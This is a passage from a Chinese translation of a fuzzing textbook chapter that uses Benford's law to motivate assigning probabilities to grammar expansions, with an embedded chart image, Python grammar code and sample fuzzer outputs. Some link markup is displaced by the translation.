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
+)
+
+我们看到，领先1实际上是领先9的六倍。
+
+本福德定律有许多应用。 最值得注意的是，它可用于检测“非自然”数字，即显然是随机创建的数字，而不是来自“自然”来源的数字。 如果您通过放入随机数来撰写科学论文和伪造数据（例如，使用我们的语法模糊器对整数使用[），则可能会违反本福德定律，这确实可以被发现。 另一方面，如果我们*希望*创建符合本福德定律的数字，我们将如何进行？ 为此，我们需要能够在语法中对*进行上述编码，例如*，以便我们可以确保在所有情况的30％中，前导数字确实是`1`。](GrammarFuzzer.html)
+
+## 指定概率
+
+本章的目的是将*概率*分配给语法中的各个扩展，以便我们可以表示应优先选择某些扩展替代方案。 这不仅对于生成看起来“自然”的数字很有用，而且对于*将*测试生成引向特定目标更有用。 如果您最近更改了程序中的某些代码，则可能要生成恰好执行此代码的输入。 通过提高与更改后的代码关联的输入元素的概率，您将获得更多使用更改后的代码的测试。
+
+我们表达概率的概念是，使用语法中介绍的[中引入的注释机制，以*为*单个扩展加上诸如概率之类的属性。 为此，我们允许扩展不仅是字符串，而且是字符串和一组属性的*对*，如](Grammars.html)
+
+```py
+"<expr>":
+        [("<term> + <expr>", opts(prob=0.1)),
+         ("<term> - <expr>", opts(prob=0.2)),
+         "<term>"]
+
+```
+
+在这里，`opts()`函数将使我们能够表达选择单个扩展的概率。 加法的概率为10％，减法为20％。 剩余的概率（在这种情况下为70％）平均分配给未归因的扩展（在此情况下为最后一个）。
+
+现在，我们可以将对与`opts()`一起使用，以将概率分配给表达式语法：
+
+```py
+import [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils)
+
+```
+
+```py
+from [GrammarFuzzer](GrammarFuzzer.html) import GrammarFuzzer, all_terminals, display_tree
+
+```
+
+```py
+from [Grammars](Grammars.html) import is_valid_grammar, EXPR_GRAMMAR, START_SYMBOL, crange, syntax_diagram
+from [Grammars](Grammars.html) import opts, exp_string, exp_opt, set_opts
+
+```
+
+```py
+PROBABILISTIC_EXPR_GRAMMAR = {
+    "<start>":
+        ["<expr>"],
+
+    "<expr>":
+        [("<term> + <expr>", opts(prob=0.1)),
+         ("<term> - <expr>", opts(prob=0.2)),
+         "<term>"],
+
+    "<term>":
+        [("<factor> * <term>", opts(prob=0.1)),
+         ("<factor> / <term>", opts(prob=0.1)),
+         "<factor>"
+         ],
+
+    "<factor>":
+        ["+<factor>", "-<factor>", "(<expr>)",
+            "<leadinteger>", "<leadinteger>.<integer>"],
+
+    "<leadinteger>":
+        ["<leaddigit><integer>", "<leaddigit>"],
+
+    # Benford's law: frequency distribution of leading digits
+    "<leaddigit>":
+        [("1", opts(prob=0.301)),
+         ("2", opts(prob=0.176)),
+         ("3", opts(prob=0.125)),
+         ("4", opts(prob=0.097)),
+         ("5", opts(prob=0.079)),
+         ("6", opts(prob=0.067)),
+         ("7", opts(prob=0.058)),
+         ("8", opts(prob=0.051)),
+         ("9", opts(prob=0.046)),
+         ],
+
+    # Remaining digits are equally distributed
+    "<integer>":
+        ["<digit><integer>", "<digit>"],
+
+    "<digit>":
+        ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"],
+}
+
+```
+
+```py
+assert is_valid_grammar(PROBABILISTIC_EXPR_GRAMMAR, supported_opts={'prob'})
+
+```
+
+这是内部语法扩展的方式：
+
+```py
+PROBABILISTIC_EXPR_GRAMMAR["<leaddigit>"]
+
+```
+
+```py
+[('1', {'prob': 0.301}),
+ ('2', {'prob': 0.176}),
+ ('3', {'prob': 0.125}),
+ ('4', {'prob': 0.097}),
+ ('5', {'prob': 0.079}),
+ ('6', {'prob': 0.067}),
+ ('7', {'prob': 0.058}),
+ ('8', {'prob': 0.051}),
+ ('9', {'prob': 0.046})]
+
+```
+
+但是，我们通常通过指定的辅助函数`exp_string()`（从[Gammar 的[章中）和`exp_prob()`）访问扩展字符串和相关的概率：](Grammars.html)
+
+```py
+leaddigit_expansion = PROBABILISTIC_EXPR_GRAMMAR["<leaddigit>"][0]
+leaddigit_expansion
+
+```
+
+```py
+('1', {'prob': 0.301})
+
+```
+
+```py
+exp_string(leaddigit_expansion)
+
+```
+
+```py
+'1'
+
+```
+
+```py
+def exp_prob(expansion):
+    """Return the options of an expansion"""
+    return exp_opt(expansion, 'prob')
+
+```
+
+```py
+exp_prob(leaddigit_expansion)
+
+```
+
+```py
+0.301
+
+```
+
+我们现有的模糊器均已设置为可使用这种方式注释的语法。 他们只是忽略所有注释。
+
+```py
+f = GrammarFuzzer(PROBABILISTIC_EXPR_GRAMMAR)
+f.fuzz()
+
+```
+
+```py
+warning: option 'prob' is not supported
+
+```
+
+```py
+'4 + ++--7.0 - -7 - +++7.3 * (1 * 3 + 5 / 3 / 5 + 2) * 38 * (2 + 8)'
+
+```
+
+```py
+from [GrammarCoverageFuzzer](GrammarCoverageFuzzer.html) import GrammarCoverageFuzzer  # minor dependency
+
+```
+
+```py
+f = GrammarCoverageFuzzer(PROBABILISTIC_EXPR_GRAMMAR)
+f.fuzz()
+
+```
+
+```py
+warning: option 'prob' is not supported
+
+```
+
+```py
+'1.30'
+
+```
+
+## 计算概率
+
+让我们定义访问给定扩展概率的函数。 在这样做的同时，他们还会检查不一致之处。
+
+### 分布概率
+
+这是我们在没有指定概率的情况下分配扩展概率的方法。 给定扩展规则
+
